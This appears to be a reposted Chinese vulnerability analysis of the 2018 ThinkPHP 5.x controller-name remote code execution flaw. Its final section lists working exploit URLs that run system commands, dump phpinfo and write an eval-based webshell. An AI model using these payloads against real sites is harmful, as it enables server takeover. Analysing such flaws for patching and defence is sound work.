0x00 前言
ThinkPHP 官方 2018 年 12 月 9 日發布重要的安全性更新,修復了一個嚴重的遠端程式碼執行漏洞。更新主要涉及一個安全性更新,由於框架對控制器名稱沒有進行足夠的偵測會導致在沒有開啟強制路由的情況下可能的getshell 漏洞,受影響的版本包括5.0 和5.1 版本,建議盡快更新到最新版本。
0x01 影響範圍
5.x
0x02 漏洞分析
Thinkphp v5.0.x 補丁位址: https://github.com/top-think/framework/com...
Thinkphp v5.1 .x 補丁位址: https://github.com/top-think/framework/com...
路由資訊中controller 的部分進行了過濾,可知問題出現在路由調度時
關鍵程式碼:
在修復之前程式未對控制器進行過濾,導致攻擊者可以透過引入\ 符號來呼叫任意類別方法。
其中使用了 $this->app->controller 方法來實例化控制器,然後呼叫實例中的方法。跟進 controller 方法:
其中透過 parseModuleAndClass 方法解析出 $module 和 $class,然後實例化 $class。
而 parseModuleAndClass 方法中,當 $name 以反斜線 \ 開始時直接將其作為類別名稱。利用命名空間的特點,如果可以控制此處的 $name(即路由中的 controller 部分),那麼就可以實例化任何一個類別。
接著,我們再往回看路由解析的程式碼。其中route/dispatch/Url.php:: parseUrl 方法呼叫了route/Rule.php:: parseUrlPath 來解析pathinfo 中的路由資訊
程式碼比較簡單,就是使用/ 對$url 進行分割,未進行任何過濾。
其中的路由url 從Request::path () 取得
#由於var_pathinfo 的預設配置為s,我們可利用$_GET ['s '] 來傳遞路由訊息,也可利用pathinfo 來傳遞,但測試時windows 環境下會將$_SERVER ['pathinfo'] 中的\ 替換為/。結合前面分析可得初步利用程式碼如下:index.php?s=index/\namespace\class/method ,這將會實例化 \namespace\class 類別並執行 method 方法。
0x03 漏洞利用
docker 漏洞環境原始碼:https://github.com/vulnspy/thinkphp-5.1.29
#本地環境:thinkphp5.0.15 php5.6n apache2.0
http://www.thinkphp.cn/donate/download/id/...
#1. 利用system 函數遠端指令執行
http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
2. 透過phpinfo 函數寫出phpinfo () 的資訊
http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
#3. 寫入shell:
http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php
或
http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>
以上是ThinkPHP 5.x 遠端指令執行漏洞分析與復現的詳細內容。更多資訊請關注PHP中文網其他相關文章!